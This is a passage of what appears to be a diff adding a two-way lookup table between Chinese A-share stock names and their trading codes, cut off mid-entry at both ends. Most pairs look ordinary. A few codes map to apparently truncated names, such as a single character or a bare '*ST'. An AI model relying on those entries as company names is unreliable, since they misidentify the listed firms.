+"600489": "中金黄金", +"华生科技": "605180", +"605180": "华生科技", +"高斯贝尔": "002848", +"002848": "高斯贝尔", +"亿道信息": "001314", +"001314": "亿道信息", +"万里石": "002785", +"002785": "万里石", +"宝莱特": "300246", +"300246": "宝莱特", +"金达威": "002626", +"002626": "金达威", +"廊坊发展": "600149", +"600149": "廊坊发展", +"退市中新": "603996", +"603996": "退市中新", +"海峡环保": "603817", +"603817": "海峡环保", +"新智认知": "603869", +"603869": "新智认知", +"南亚新材": "688519", +"688519": "南亚新材", +"*ST石化A": "000013", +"000013": "*ST石化A", +"清源股份": "603628", +"603628": "清源股份", +"浙江东日": "600113", +"600113": "浙江东日", +"隧道股份": "600820", +"600820": "隧道股份", +"威尔泰": "002058", +"002058": "威尔泰", +"五洲特纸": "605007", +"605007": "五洲特纸", +"奥克股份": "300082", +"300082": "奥克股份", +"华蓝集团": "301027", +"301027": "华蓝集团", +"大金重工": "002487", +"002487": "大金重工", +"力佳科技": "835237", +"835237": "力佳科技", +"迈信林": "688685", +"688685": "迈信林", +"重庆啤酒": "600132", +"600132": "重庆啤酒", +"普洛药业": "000739", +"000739": "普洛药业", +"博通股份": "600455", +"600455": "博通股份", +"普元信息": "688118", +"688118": "普元信息", +"亚太股份": "002284", +"002284": "亚太股份", +"张家界": "000430", +"000430": "张家界", +"浩丰科技": "300419", +"300419": "浩丰科技", +"润丰股份": "301035", +"301035": "润丰股份", +"康弘药业": "002773", +"002773": "康弘药业", +"塔牌集团": "002233", +"002233": "塔牌集团", +"交运股份": "600676", +"600676": "交运股份", +"金通灵": "300091", +"300091": "金通灵", +"悦心健康": "002162", +"002162": "悦心健康", +"风光股份": "301100", +"301100": "风光股份", +"品渥食品": "300892", +"300892": "品渥食品", +"ST远程": "002692", +"002692": "ST远程", +"国新文化": "600636", +"600636": "国新文化", +"蠡湖股份": "300694", +"300694": "蠡湖股份", +"陕西煤业": "601225", +"601225": "陕西煤业", +"新黄浦": "600638", +"600638": "新黄浦", +"花溪科技": "872895", +"872895": "花溪科技", +"西大门": "605155", +"605155": "西大门", +"苏州银行": "002966", +"002966": "苏州银行", +"金字火腿": "002515", +"002515": "金字火腿", +"冠农股份": "600251", +"600251": "冠农股份", +"浙江仙通": "603239", +"603239": "浙江仙通", +"中京电子": "002579", +"002579": "中京电子", +"埃科光电": "688610", +"688610": "埃科光电", +"双林股份": "300100", +"300100": "双林股份", +"东土科技": "300353", +"300353": "东土科技", +"大族激光": "002008", +"002008": "大族激光", +"亚虹医药-U": "688176", +"688176": "亚虹医药-U", +"完美世界": "002624", +"002624": "完美世界", +"安恒信息": "688023", +"688023": "安恒信息", +"润禾材料": "300727", +"300727": "润禾材料", +"江南奕帆": "301023", +"301023": "江南奕帆", +"华侨城Ａ": "000069", +"000069": "华侨城Ａ", +"开润股份": "300577", +"300577": "开润股份", +"退市中昌": "600242", +"600242": "退市中昌", +"新亚强": "603155", +"603155": "新亚强", +"阳光电源": "300274", +"300274": "阳光电源", +"吉林敖东": "000623", +"000623": "吉林敖东", +"普门科技": "688389", +"688389": "普门科技", +"尚太科技": "001301", +"001301": "尚太科技", +"野马电池": "605378", +"605378": "野马电池", +"卓越新能": "688196", +"688196": "卓越新能", +"渤海汽车": "600960", +"600960": "渤海汽车", +"华宏科技": "002645", +"002645": "华宏科技", +"粤桂股份": "000833", +"000833": "粤桂股份", +"牧高笛": "603908", +"603908": "牧高笛", +"谱尼测试": "300887", +"300887": "谱尼测试", +"义翘神州": "301047", +"301047": "义翘神州", +"电科数字": "600850", +"600850": "电科数字", +"文投控股": "600715", +"600715": "文投控股", +"天和防务": "300397", +"300397": "天和防务", +"德固特": "300950", +"300950": "德固特", +"艾能聚": "834770", +"834770": "艾能聚", +"舒泰神": "300204", +"300204": "舒泰神", +"ST宇顺": "002289", +"002289": "ST宇顺", +"金钼股份": "601958", +"601958": "金钼股份", +"利君股份": "002651", +"002651": "利君股份", +"斯菱股份": "301550", +"301550": "斯菱股份", +"科创新源": "300731", +"300731": "科创新源", +"雅达股份": "430556", +"430556": "雅达股份", +"超频三": "300647", +"300647": "超频三", +"博世科": "300422", +"300422": "博世科", +"汉商集团": "600774", +"600774": "汉商集团", +"威尔药业": "603351", +"603351": "威尔药业", +"退市华业": "600240", +"600240": "退市华业", +"金晶科技": "600586", +"600586": "金晶科技", +"火星人": "300894", +"300894": "火星人", +"浙江新能": "600032", +"600032": "浙江新能", +"美农生物": "301156", +"301156": "美农生物", +"梅安森": "300275", +"300275": "梅安森", +"瑞晟智能": "688215", +"688215": "瑞晟智能", +"倍轻松": "688793", +"688793": "倍轻松", +"海星股份": "603115", +"603115": "海星股份", +"亚康股份": "301085", +"301085": "亚康股份", +"冰山冷热": "000530", +"000530": "冰山冷热", +"富淼科技": "688350", +"688350": "富淼科技", +"好太太": "603848", +"603848": "好太太", +"东威科技": "688700", +"688700": "东威科技", +"新宏泰": "603016", +"603016": "新宏泰", +"东宏股份": "603856", +"603856": "东宏股份", +"新宏泽": "002836", +"002836": "新宏泽", +"标准股份": "600302", +"600302": "标准股份", +"利德曼": "300289", +"300289": "利德曼", +"华凯易佰": "300592", +"300592": "华凯易佰", +"汇绿生态": "001267", +"001267": "汇绿生态", +"精测电子": "300567", +"300567": "精测电子", +"联创股份": "300343", +"300343": "联创股份", +"华翔股份": "603112", +"603112": "华翔股份", +"ST海洋": "000658", +"000658": "ST海洋", +"国芳集团": "601086", +"601086": "国芳集团", +"海兰信": "300065", +"300065": "海兰信", +"海顺新材": "300501", +"300501": "海顺新材", +"国华网安": "000004", +"000004": "国华网安", +"益客食品": "301116", +"301116": "益客食品", +"索菲亚": "002572", +"002572": "索菲亚", +"昀冢科技": "688260", +"688260": "昀冢科技", +"花园生物": "300401", +"300401": "花园生物", +"台基股份": "300046", +"300046": "台基股份", +"骏亚科技": "603386", +"603386": "骏亚科技", +"杰华特": "688141", +"688141": "杰华特", +"铭科精技": "001319", +"001319": "铭科精技", +"荃银高科": "300087", +"300087": "荃银高科", +"ST瑞德": "600666", +"600666": "ST瑞德", +"长盛轴承": "300718", +"300718": "长盛轴承", +"博拓生物": "688767", +"688767": "博拓生物", +"智迪科技": "301503", +"301503": "智迪科技", +"中光学": "002189", +"002189": "中光学", +"华业香料": "300886", +"300886": "华业香料", +"东方明珠": "600832", +"600832": "东方明珠", +"永太科技": "002326", +"002326": "永太科技", +"时代电气": "688187", +"688187": "时代电气", +"安徽凤凰": "832000", +"832000": "安徽凤凰", +"众望布艺": "605003", +"605003": "众望布艺", +"运达科技": "300440", +"300440": "运达科技", +"深康佳Ａ": "000016", +"000016": "深康佳Ａ", +"魅视科技": "001229", +"001229": "魅视科技", +"领湃科技": "300530", +"300530": "领湃科技", +"奥美医疗": "002950", +"002950": "奥美医疗", +"昊帆生物": "301393", +"301393": "昊帆生物", +"科博达": "603786", +"603786": "科博达", +"珠海港": "000507", +"000507": "珠海港", +"康芝药业": "300086", +"300086": "康芝药业", +"雷赛智能": "002979", +"002979": "雷赛智能", +"沪硅产业": "688126", +"688126": "沪硅产业", +"欧克科技": "001223", +"001223": "欧克科技", +"法兰泰克": "603966", +"603966": "法兰泰克", +"瑞普生物": "300119", +"300119": "瑞普生物", +"唯科科技": "301196", +"301196": "唯科科技", +"苏常柴Ａ": "000570", +"000570": "苏常柴Ａ", +"康欣新材": "600076", +"600076": "康欣新材", +"新致软件": "688590", +"688590": "新致软件", +"汇金股份": "300368", +"300368": "汇金股份", +"中辰股份": "300933", +"300933": "中辰股份", +"冀东水泥": "000401", +"000401": "冀东水泥", +"神驰机电": "603109", +"603109": "神驰机电", +"宏川智慧": "002930", +"002930": "宏川智慧", +"清越科技": "688496", +"688496": "清越科技", +"辽港股份": "601880", +"601880": "辽港股份", +"东富龙": "300171", +"300171": "东富龙", +"惠泰医疗": "688617", +"688617": "惠泰医疗", +"蓝晓科技": "300487", +"300487": "蓝晓科技", +"瑞茂通": "600180", +"600180": "瑞茂通", +"国科军工": "688543", +"688543": "国科军工", +"华鹏飞": "300350", +"300350": "华鹏飞", +"亚钾国际": "000893", +"000893": "亚钾国际", +"富乐德": "301297", +"301297": "富乐德", +"高华科技": "688539", +"688539": "高华科技", +"凯龙股份": "002783", +"002783": "凯龙股份", +"豪声电子": "838701", +"838701": "豪声电子", +"比亚迪": "002594", +"002594": "比亚迪", +"极米科技": "688696", +"688696": "极米科技", +"天首退": "000611", +"000611": "天首退", +"中欣氟材": "002915", +"002915": "中欣氟材", +"贝特瑞": "835185", +"835185": "贝特瑞", +"恩威医药": "301331", +"301331": "恩威医药", +"正威新材": "002201", +"002201": "正威新材", +"现代投资": "000900", +"000900": "现代投资", +"祥明智能": "301226", +"301226": "祥明智能", +"ST天龙": "300029", +"300029": "ST天龙", +"报": "002154", +"002154": "报", +"必得科技": "605298", +"605298": "必得科技", +"嘉欣丝绸": "002404", +"002404": "嘉欣丝绸", +"东瑞股份": "001201", +"001201": "东瑞股份", +"天佑德酒": "002646", +"002646": "天佑德酒", +"明泰铝业": "601677", +"601677": "明泰铝业", +"冰川网络": "300533", +"300533": "冰川网络", +"乐心医疗": "300562", +"300562": "乐心医疗", +"安达智能": "688125", +"688125": "安达智能", +"退市博元": "600656", +"600656": "退市博元", +"日上集团": "002593", +"002593": "日上集团", +"新华制药": "000756", +"000756": "新华制药", +"中信特钢": "000708", +"000708": "中信特钢", +"和顺石油": "603353", +"603353": "和顺石油", +"*ST天沃": "002564", +"002564": "*ST天沃", +"北汽蓝谷": "600733", +"600733": "北汽蓝谷", +"ST迪威迅": "300167", +"300167": "ST迪威迅", +"S*ST佳纸": "000699", +"000699": "S*ST佳纸", +"中来股份": "300393", +"300393": "中来股份", +"上海洗霸": "603200", +"603200": "上海洗霸", +"瑞可达": "688800", +"688800": "瑞可达", +"远达环保": "600292", +"600292": "远达环保", +"北新路桥": "002307", +"002307": "北新路桥", +"盈建科": "300935", +"300935": "盈建科", +"澳弘电子": "605058", +"605058": "澳弘电子", +"ST摩登": "002656", +"002656": "ST摩登", +"豪恩汽电": "301488", +"301488": "豪恩汽电", +"浪莎股份": "600137", +"600137": "浪莎股份", +"科净源": "301372", +"301372": "科净源", +"三羊马": "001317", +"001317": "三羊马", +"同花顺": "300033", +"300033": "同花顺", +"城建发展": "600266", +"600266": "城建发展", +"隆扬电子": "301389", +"301389": "隆扬电子", +"永信至诚": "688244", +"688244": "永信至诚", +"鹏翎股份": "300375", +"300375": "鹏翎股份", +"四川黄金": "001337", +"001337": "四川黄金", +"昌红科技": "300151", +"300151": "昌红科技", +"银轮股份": "002126", +"002126": "银轮股份", +"凯旺科技": "301182", +"301182": "凯旺科技", +"安洁科技": "002635", +"002635": "安洁科技", +"新兴铸管": "000778", +"000778": "新兴铸管", +"中炬高新": "600872", +"600872": "中炬高新", +"帝欧家居": "002798", +"002798": "帝欧家居", +"仁智股份": "002629", +"002629": "仁智股份", +"鼎捷软件": "300378", +"300378": "鼎捷软件", +"华力创通": "300045", +"300045": "华力创通", +"亚光科技": "300123", +"300123": "亚光科技", +"新开源": "300109", +"300109": "新开源", +"恒帅股份": "300969", +"300969": "恒帅股份", +"浩淼科技": "831856", +"831856": "浩淼科技", +"广汽集团": "601238", +"601238": "广汽集团", +"国科恒泰": "301370", +"301370": "国科恒泰", +"东旭光电": "000413", +"000413": "东旭光电", +"保龄宝": "002286", +"002286": "保龄宝", +"南芯科技": "688484", +"688484": "南芯科技", +"华塑控股": "000509", +"000509": "华塑控股", +"长城科技": "603897", +"603897": "长城科技", +"ST九州": "000653", +"000653": "ST九州", +"川环科技": "300547", +"300547": "川环科技", +"熊猫乳品": "300898", +"300898": "熊猫乳品", +"博思软件": "300525", +"300525": "博思软件", +"三六零": "601360", +"601360": "三六零", +"新华文轩": "601811", +"601811": "新华文轩", +"北元集团": "601568", +"601568": "北元集团", +"岳阳林纸": "600963", +"600963": "岳阳林纸", +"国子软件": "872953", +"872953": "国子软件", +"中航沈飞": "600760", +"600760": "中航沈飞", +"本钢板材": "000761", +"000761": "本钢板材", +"汇鸿集团": "600981", +"600981": "汇鸿集团", +"华勤技术": "603296", +"603296": "华勤技术", +"沪宁股份": "300669", +"300669": "沪宁股份", +"京新药业": "002020", +"002020": "京新药业", +"惠同新材": "833751", +"833751": "惠同新材", +"沃格光电": "603773", +"603773": "沃格光电", +"凌云股份": "600480", +"600480": "凌云股份", +"温州宏丰": "300283", +"300283": "温州宏丰", +"天键股份": "301383", +"301383": "天键股份", +"锐奇股份": "300126", +"300126": "锐奇股份", +"星帅尔": "002860", +"002860": "星帅尔", +"昊华能源": "601101", +"601101": "昊华能源", +"望变电气": "603191", +"603191": "望变电气", +"德才股份": "605287", +"605287": "德才股份", +"恒铭达": "002947", +"002947": "恒铭达", +"开普云": "688228", +"688228": "开普云", +"南微医学": "688029", +"688029": "南微医学", +"ST阳光城": "000671", +"000671": "ST阳光城", +"美尔雅": "600107", +"600107": "美尔雅", +"阳光诺和": "688621", +"688621": "阳光诺和", +"臻镭科技": "688270", +"688270": "臻镭科技", +"建工修复": "300958", +"300958": "建工修复", +"津药药业": "600488", +"600488": "津药药业", +"武汉凡谷": "002194", +"002194": "武汉凡谷", +"方直科技": "300235", +"300235": "方直科技", +"泽璟制药-U": "688266", +"688266": "泽璟制药-U", +"国瑞科技": "300600", +"300600": "国瑞科技", +"航发控制": "000738", +"000738": "航发控制", +"宜安科技": "300328", +"300328": "宜安科技", +"春秋航空": "601021", +"601021": "春秋航空", +"ST金鸿": "000669", +"000669": "ST金鸿", +"青岛中程": "300208", +"300208": "青岛中程", +"红": "002165", +"002165": "红", +"恩华药业": "002262", +"002262": "恩华药业", +"奇信退": "002781", +"002781": "奇信退", +"欣锐科技": "300745", +"300745": "欣锐科技", +"金浦钛业": "000545", +"000545": "金浦钛业", +"四方科技": "603339", +"603339": "四方科技", +"摩恩电气": "002451", +"002451": "摩恩电气", +"三旺通信": "688618", +"688618": "三旺通信", +"郑中设计": "002811", +"002811": "郑中设计", +"宏源药业": "301246", +"301246": "宏源药业", +"四方光电": "688665", +"688665": "四方光电", +"汉宇集团": "300403", +"300403": "汉宇集团", +"东利机械": "301298", +"301298": "东利机械", +"美芯晟": "688458", +"688458": "美芯晟", +"中科海讯": "300810", +"300810": "中科海讯", +"华润材料": "301090", +"301090": "华润材料", +"宏达电子": "300726", +"300726": "宏达电子", +"协昌科技": "301418", +"301418": "协昌科技", +"航民股份": "600987", +"600987": "航民股份", +"惠达卫浴": "603385", +"603385": "惠达卫浴", +"达仁堂": "600329", +"600329": "达仁堂", +"瑞丰高材": "300243", +"300243": "瑞丰高材", +"远方信息": "300306", +"300306": "远方信息", +"益民集团": "600824", +"600824": "益民集团", +"金固股份": "002488", +"002488": "金固股份", +"如通股份": "603036", +"603036": "如通股份", +"广咨国际": "836892", +"836892": "广咨国际", +"赢时胜": "300377", +"300377": "赢时胜", +"招商蛇口": "001979", +"001979": "招商蛇口", +"湘电股份": "600416", +"600416": "湘电股份", +"*ST雪发": "002485", +"002485": "*ST雪发", +"*ST创智": "000787", +"000787": "*ST创智", +"宝明科技": "002992", +"002992": "宝明科技", +"金开新能": "600821", +"600821": "金开新能", +"灵康药业": "603669", +"603669": "灵康药业", +"中泰股份": "300435", +"300435": "中泰股份", +"松炀资源": "603863", +"603863": "松炀资源", +"豪尔赛": "002963", +"002963": "豪尔赛", +"天准科技": "688003", +"688003": "天准科技", +"蜂助手": "301382", +"301382": "蜂助手", +"霍普股份": "301024", +"301024": "霍普股份", +"宏达新材": "002211", +"002211": "宏达新材", +"麦澜德": "688273", +"688273": "麦澜德", +"中银绒业": "000982", +"000982": "中银绒业", +"派生科技": "300176", +"300176": "派生科技", +"宁波华翔": "002048", +"002048": "宁波华翔", +"利民股份": "002734", +"002734": "利民股份", +"萤石网络": "688475", +"688475": "萤石网络", +"海森药业": "001367", +"001367": "海森药业", +"三钢闽光": "002110", +"002110": "三钢闽光", +"富通信息": "000836", +"000836": "富通信息", +"康希诺": "688185", +"688185": "康希诺", +"伟星股份": "002003", +"002003": "伟星股份", +"天润工业": "002283", +"002283": "天润工业", +"蓝黛科技": "002765", +"002765": "蓝黛科技", +"建新股份": "300107", +"300107": "建新股份", +"松芝股份": "002454", +"002454": "松芝股份", +"*ST比特": "000621", +"000621": "*ST比特", +"江化微": "603078", +"603078": "江化微", +"中重科技": "603135", +"603135": "中重科技", +"中创物流": "603967", +"603967": "中创物流", +"招商证券": "600999", +"600999": "招商证券", +"鄂尔多斯": "600295", +"600295": "鄂尔多斯", +"长远锂科": "688779", +"688779": "长远锂科", +"深城交": "301091", +"301091": "深城交", +"建霖家居": "603408", +"603408": "建霖家居", +"华秦科技": "688281", +"688281": "华秦科技", +"太龙股份": "300650", +"300650": "太龙股份", +"精锻科技": "300258", +"300258": "精锻科技", +"久量股份": "300808", +"300808": "久量股份", +"胜蓝股份": "300843", +"300843": "胜蓝股份", +"光迅科技": "002281", +"002281": "光迅科技", +"苏能股份": "600925", +"600925": "苏能股份", +"新华锦": "600735", +"600735": "新华锦", +"中远海能": "600026", +"600026": "中远海能", +"南模生物": "688265", +"688265": "南模生物", +"南宁糖业": "000911", +"000911": "南宁糖业", +"三一重能": "688349", +"688349": "三一重能", +"芳源股份": "688148", +"688148": "芳源股份", +"滨海能源": "000695", +"000695": "滨海能源", +"*ST天润": "002113", +"002113": "*ST天润", +"顾家家居": "603816", +"603816": "顾家家居", +"浙文影业": "601599", +"601599": "浙文影业", +"ST万林": "603117", +"603117": "ST万林", +"德生科技": "002908", +"002908": "德生科技", +"海格通信": "002465", +"002465": "海格通信", +"通用电梯": "300931", +"300931": "通用电梯", +"福瑞股份": "300049", +"300049": "福瑞股份", +"仁信新材": "301395", +"301395": "仁信新材", +"龙净环保": "600388", +"600388": "龙净环保", +"恒力石化": "600346", +"600346": "恒力石化", +"新华医疗": "600587", +"600587": "新华医疗", +"博硕科技": "300951", +"300951": "博硕科技", +"漱玉平民": "301017", +"301017": "漱玉平民", +"天宏锂电": "873152", +"873152": "天宏锂电", +"晋拓股份": "603211", +"603211": "晋拓股份", +"富恒新材": "832469", +"832469": "富恒新材", +"宜宾纸业": "600793", +"600793": "宜宾纸业", +"蓝焰控股": "000968", +"000968": "蓝焰控股", +"漫步者": "002351", +"002351": "漫步者", +"万顺新材": "300057", +"300057": "万顺新材", +"天味食品": "603317", +"603317": "天味食品", +"华宝股份": "300741", +"300741": "华宝股份", +"鸿泉物联": "688288", +"688288": "鸿泉物联", +"亨迪药业": "301211", +"301211": "亨迪药业", +"雅葆轩": "870357", +"870357": "雅葆轩", +"君实生物-U": "688180", +"688180": "君实生物-U", +"维峰电子": "301328", +"301328": "维峰电子", +"悦安新材": "688786", +"688786": "悦安新材", +"贵阳银行": "601997", +"601997": "贵阳银行", +"世龙实业": "002748", +"002748": "世龙实业", +"皮阿诺": "002853", +"002853": "皮阿诺", +"罗": "000735", +"000735": "罗", +"汇顶科技": "603160", +"603160": "汇顶科技", +"贵航股份": "600523", +"600523": "贵航股份", +"中巨芯-U": "688549", +"688549": "中巨芯-U", +"天元智能": "603273", +"603273": "天元智能", +"久日新材": "688199", +"688199": "久日新材", +"药易购": "300937", +"300937": "药易购", +"三房巷": "600370", +"600370": "三房巷", +"巨星科技": "002444", +"002444": "巨星科技", +"大地熊": "688077", +"688077": "大地熊", +"长生退": "002680", +"002680": "长生退", +"海能实业": "300787", +"300787": "海能实业", +"远兴能源": "000683", +"000683": "远兴能源", +"*ST荣华": "600311", +"600311": "*ST荣华", +"华光新材": "688379", +"688379": "华光新材", +"斯迪克": "300806", +"300806": "斯迪克", +"森远股份": "300210", +"300210": "森远股份", +"维远股份": "600955", +"600955": "维远股份", +"艾融软件": "830799", +"830799": "艾融软件", +"九阳股份": "002242", +"002242": "九阳股份", +"北鼎股份": "300824", +"300824": "北鼎股份", +"乐视退": "300104", +"300104": "乐视退", +"退市绿庭": "600695", +"600695": "退市绿庭", +"斯太退": "000760", +"000760": "斯太退", +"奇德新材": "300995", +"300995": "奇德新材", +"雪天盐业": "600929", +"600929": "雪天盐业", +"瑞丰新材": "300910", +"300910": "瑞丰新材", +"明志科技": "688355", +"688355": "明志科技", +"山煤国际": "600546", +"600546": "山煤国际", +"绿盟科技": "300369", +"300369": "绿盟科技", +"正强股份": "301119", +"301119": "正强股份", +"大胜达": "603687", +"603687": "大胜达", +"罗普特": "688619", +"688619": "罗普特", +"新安洁": "831370", +"831370": "新安洁", +"晶科科技": "601778", +"601778": "晶科科技", +"新瀚新材": "301076", +"301076": "新瀚新材", +"中国化学": "601117", +"601117": "中国化学", +"烽火电子": "000561", +"000561": "烽火电子", +"三花智控": "002050", +"002050": "三花智控", +"华纳药厂": "688799", +"688799": "华纳药厂", +"慈文传媒": "002343", +"002343": "慈文传媒", +"中金岭南": "000060", +"000060": "中金岭南", +"达实智能": "002421", +"002421": "达实智能", +"数字政通": "300075", +"300075": "数字政通", +"博杰股份": "002975", +"002975": "博杰股份", +"丰立智能": "301368", +"301368": "丰立智能", +"ST生态": "600709", +"600709": "ST生态", +"捷成股份": "300182", +"300182": "捷成股份", +"海通发展": "603162", +"603162": "海通发展", +"横河精密": "300539", +"300539": "横河精密", +"甘化科工": "000576", +"000576": "甘化科工", +"彤程新材": "603650", +"603650": "彤程新材", +"美晨生态": "300237", +"300237": "美晨生态", +"ST富润": "600070", +"600070": "ST富润", +"天方药业": "600253", +"600253": "天方药业", +"人民同泰": "600829", +"600829": "人民同泰", +"贵研铂业": "600459", +"600459": "贵研铂业", +"山东华鹏": "603021", +"603021": "山东华鹏", +"一拖股份": "601038", +"601038": "一拖股份", +"乐惠国际": "603076", +"603076": "乐惠国际", +"路桥建设": "600263", +"600263": "路桥建设", +"XD奥浦迈": "688293", +"688293": "XD奥浦迈", +"聚力文化": "002247", +"002247": "聚力文化", +"汉嘉设计": "300746", +"300746": "汉嘉设计", +"*ST龙科": "600799", +"600799": "*ST龙科", +"退市易见": "600093", +"600093": "退市易见", +"百纳千成": "300291", +"300291": "百纳千成", +"卓易信息": "688258", +"688258": "卓易信息", +"和仁科技": "300550", +"300550": "和仁科技", +"星星科技": "300256", +"300256": "星星科技", +"美联新材": "300586", +"300586": "美联新材", +"瑞凌股份": "300154", +"300154": "瑞凌股份", +"广汇汽车": "600297", +"600297": "广汇汽车", +"*ST新纺": "002087", +"002087": "*ST新纺", +"青矩技术": "836208", +"836208": "青矩技术", +"华康医疗": "301235", +"301235": "华康医疗", +"天顺风能": "002531", +"002531": "天顺风能", +"福斯达": "603173", +"603173": "福斯达", +"英洛华": "000795", +"000795": "英洛华", +"楚天科技": "300358", +"300358": "楚天科技", +"正丹股份": "300641", +"300641": "正丹股份", +"峨眉山Ａ": "000888", +"000888": "峨眉山Ａ", +"元道通信": "301139", +"301139": "元道通信", +"久祺股份": "300994", +"300994": "久祺股份", +"天喻信息": "300205", +"300205": "天喻信息", +"兴业银锡": "000426", +"000426": "兴业银锡", +"辰光医疗": "430300", +"430300": "辰光医疗", +"厦门钨业": "600549", +"600549": "厦门钨业", +"新凤鸣": "603225", +"603225": "新凤鸣", +"歌尔股份": "002241", +"002241": "歌尔股份", +"德尔玛": "301332", +"301332": "德尔玛", +"科大国创": "300520", +"300520": "科大国创", +"深科技": "000021", +"000021": "深科技", +"苏州龙杰": "603332", +"603332": "苏州龙杰", +"博闻科技": "600883", +"600883": "博闻科技", +"海航科技": "600751", +"600751": "海航科技", +"润阳科技": "300920", +"300920": "润阳科技", +"华西证券": "002926", +"002926": "华西证券", +"集智股份": "300553", +"300553": "集智股份", +"神宇股份": "300563", +"300563": "神宇股份", +"朗玛信息": "300288", +"300288": "朗玛信息", +"宁波方正": "300998", +"300998": "宁波方正", +"普莱得": "301353", +"301353": "普莱得", +"大富科技": "300134", +"300134": "大富科技", +"永泰运": "001228", +"001228": "永泰运", +"镇海股份": "603637", +"603637": "镇海股份", +"科大智能": "300222", +"300222": "科大智能", +"新澳股份": "603889", +"603889": "新澳股份", +"巨一科技": "688162", +"688162": "巨一科技", +"华体科技": "603679", +"603679": "华体科技", +"八方股份": "603489", +"603489": "八方股份", +"汇中股份": "300371", +"300371": "汇中股份", +"华昌达": "300278", +"300278": "华昌达", +"财富趋势": "688318", +"688318": "财富趋势", +"热景生物": "688068", +"688068": "热景生物", +"金岭矿业": "000655", +"000655": "金岭矿业", +"国盛金控": "002670", +"002670": "国盛金控", +"万辰集团": "300972", +"300972": "万辰集团", +"恒尚节能": "603137", +"603137": "恒尚节能", +"紫燕食品": "603057", +"603057": "紫燕食品", +"安泰集团": "600408", +"600408": "安泰集团", +"南风股份": "300004", +"300004": "南风股份", +"正业科技": "300410", +"300410": "正业科技", +"联迪信息": "839790", +"839790": "联迪信息", +"*ST": "002157", +"002157": "*ST", +"泰尔股份": "002347", +"002347": "泰尔股份", +"丰林集团": "601996", +"601996": "丰林集团", +"洽洽食品": "002557", +"002557": "洽洽食品", +"华联商厦": "600632", +"600632": "华联商厦", +"郑州银行": "002936", +"002936": "郑州银行", +"神州泰岳": "300002", +"300002": "神州泰岳", +"柏诚股份": "601133", +"601133": "柏诚股份", +"株冶集团": "600961", +"600961": "株冶集团", +"海看股份": "301262", +"301262": "海看股份", +"无锡振华": "605319", +"605319": "无锡振华", +"新晨科技": "300542", +"300542": "新晨科技", +"复洁环保": "688335", +"688335": "复洁环保", +"超卓航科": "688237", +"688237": "超卓航科", +"泰晶科技": "603738", +"603738": "泰晶科技", +"嘉泽新能": "601619", +"601619": "嘉泽新能", +"海宁皮城": "002344", +"002344": "海宁皮城", +"凯添燃气": "831010", +"831010": "凯添燃气", +"横店影视": "603103", +"603103": "横店影视", +"东材科技": "601208", +"601208": "东材科技", +"武进不锈": "603878", +"603878": "武进不锈", +"康隆达": "603665", +"603665": "康隆达", +"晋亿实业": "601002", +"601002": "晋亿实业", +"新时达": "002527", +"002527": "新时达", +"吉比特": "603444", +"603444": "吉比特", +"华旺科技": "605377", +"605377": "华旺科技", +"宏英智能": "001266", +"001266": "宏英智能", +"立新能源": "001258", +"001258": "立新能源", +"包头铝业": "600472", +"600472": "包头铝业", +"冠城大通": "600067", +"600067": "冠城大通", +"中农立华": "603970", +"603970": "中农立华", +"山东墨龙": "002490", +"002490": "山东墨龙", +"球冠电缆": "834682", +"834682": "球冠电缆", +"易德龙": "603380", +"603380": "易德龙", +"通润装备": "002150", +"002150": "通润装备", +"东旭蓝天": "000040", +"000040": "东旭蓝天", +"安利股份": "300218", +"300218": "安利股份", +"南凌科技": "300921", +"300921": "南凌科技", +"联创电子": "002036", +"002036": "联创电子", +"惠博普": "002554", +"002554": "惠博普", +"千山退": "300216", +"300216": "千山退", +"瀛通通讯": "002861", +"002861": "瀛通通讯", +"海油工程": "600583", +"600583": "海油工程", +"来伊份": "603777", +"603777": "来伊份", +"慕思股份": "001323", +"001323": "慕思股份", +"安集科技": "688019", +"688019": "安集科技", +"嘉美包装": "002969", +"002969": "嘉美包装", +"ST易购": "002024", +"002024": "ST易购", +"瑞康医药": "002589", +"002589": "瑞康医药", +"上声电子": "688533", +"688533": "上声电子", +"海天股份": "603759", +"603759": "海天股份", +"商络电子": "300975", +"300975": "商络电子", +"中科通达": "688038", +"688038": "中科通达", +"岳阳兴长": "000819", +"000819": "岳阳兴长", +"中国联通": "600050", +"600050": "中国联通", +"贵州轮胎": "000589", +"000589": "贵州轮胎", +"锦江酒店": "600754", +"600754": "锦江酒店", +"华鲁恒升": "600426", +"600426": "华鲁恒升", +"ST鹏博士": "600804", +"600804": "ST鹏博士", +"西部证券": "002673", +"002673": "西部证券", +"大龙地产": "600159", +"600159": "大龙地产", +"吉大正元": "003029", +"003029": "吉大正元", +"东和新材": "839792", +"839792": "东和新材", +"新媒股份": "300770", +"300770": "新媒股份", +"炬申股份": "001202", +"001202": "炬申股份", +"明阳电气": "301291", +"301291": "明阳电气", +"迈赫股份": "301199", +"301199": "迈赫股份", +"英力股份": "300956", +"300956": "英力股份", +"赛伦生物": "688163", +"688163": "赛伦生物", +"永安期货": "600927", +"600927": "永安期货", +"东海A退": "000613", +"000613": "东海A退", +"龙腾光电": "688055", +"688055": "龙腾光电", +"金桥信息": "603918", +"603918": "金桥信息", +"华安证券": "600909", +"600909": "华安证券", +"*ST美盛": "002699", +"002699": "*ST美盛", +"云南能投": "002053", +"002053": "云南能投", +"中达安": "300635", +"300635": "中达安", +"中大力德": "002896", +"002896": "中大力德", +"深物业A": "000011", +"000011": "深物业A", +"新柴股份": "301032", +"301032": "新柴股份", +"新光光电": "688011", +"688011": "新光光电", +"康达新材": "002669", +"002669": "康达新材", +"高盟新材": "300200", +"300200": "高盟新材", +"永安药业": "002365", +"002365": "永安药业", +"杰创智能": "301248", +"301248": "杰创智能", +"同德化工": "002360", +"002360": "同德化工", +"梅雁吉祥": "600868", +"600868": "梅雁吉祥", +"新益昌": "688383", +"688383": "新益昌", +"退市运盛": "600767", +"600767": "退市运盛", +"千红制药": "002550", +"002550": "千红制药", +"东吴证券": "601555", +"601555": "东吴证券", +"移远通信": "603236", +"603236": "移远通信", +"瑞尔特": "002790", +"002790": "瑞尔特", +"长龄液压": "605389", +"605389": "长龄液压", +"中威电子": "300270", +"300270": "中威电子", +"钱江生化": "600796", +"600796": "钱江生化", +"云从科技-UW": "688327", +"688327": "云从科技-UW", +"利仁科技": "001259", +"001259": "利仁科技", +"中科飞测-U": "688361", +"688361": "中科飞测-U", +"法狮龙": "605318", +"605318": "法狮龙", +"中装建设": "002822", +"002822": "中装建设", +"莱斯信息": "688631", +"688631": "莱斯信息", +"七彩化学": "300758", +"300758": "七彩化学", +"常山北明": "000158", +"000158": "常山北明", +"盛通股份": "002599", +"002599": "盛通股份", +"ST起步": "603557", +"603557": 